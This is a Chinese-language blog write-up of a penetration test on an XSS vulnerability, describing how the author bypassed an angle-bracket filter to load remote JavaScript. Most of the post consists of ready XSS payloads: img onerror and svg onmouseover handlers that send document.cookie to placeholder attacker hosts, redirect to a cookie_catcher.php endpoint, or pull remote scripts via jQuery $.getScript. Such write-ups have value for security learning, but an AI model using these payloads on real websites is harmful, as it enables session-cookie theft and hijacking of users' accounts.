XSS漏洞之加载远程js文件

这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly

但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有<>的时候,会把每对尖括号以及尖括号里面的内容都过滤掉,唯独有一个特例,就是img标签不会

在网上找了一些资料,发现可以用img来加载远程js,陆陆续续试过以下几个方法:

1.<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>

用这种方式是将cookie写入到自己搭建的服务器下的一个txt文件里,这种方式能起作用,但是没读到cookie,so失败了

2.<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

这种方法也没成功,有可能是因为其中包含有script关键字,so失败了

3.<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">

最终成功加载到远程js文件的payload!这种方法只要网站支持jQuery就可以这样子加载js文件

这种方法有三个要素,可以*选择

3.1标签:svg  input   object   iframe  img  a   pbutton  script等等

3.2属性:onmouseover  onmousemove   onclick  onerror  onload  onfocus+autofocus

3.3事件代码:console.log(document.cookie)

document.location="http://www.test.com/cookie_catcher.php?c="+document.cookie

  prompt(document.cookie)

  confirm(document.cookie)

"$.getScript`https://xxx/a.js`" stype="display:none"                              --加载远程js文件

心得体会:

学习前辈的经验,一定要多思考,不要搬过来就直接时直接用,多想想为什么,多去探索原理和本质,实践出真知。

另外,不要让代码能力成为自己的短板。

上一篇:新手小白在github上部署一个项目


下一篇:从零开始使用 webpack5 搭建 react 项目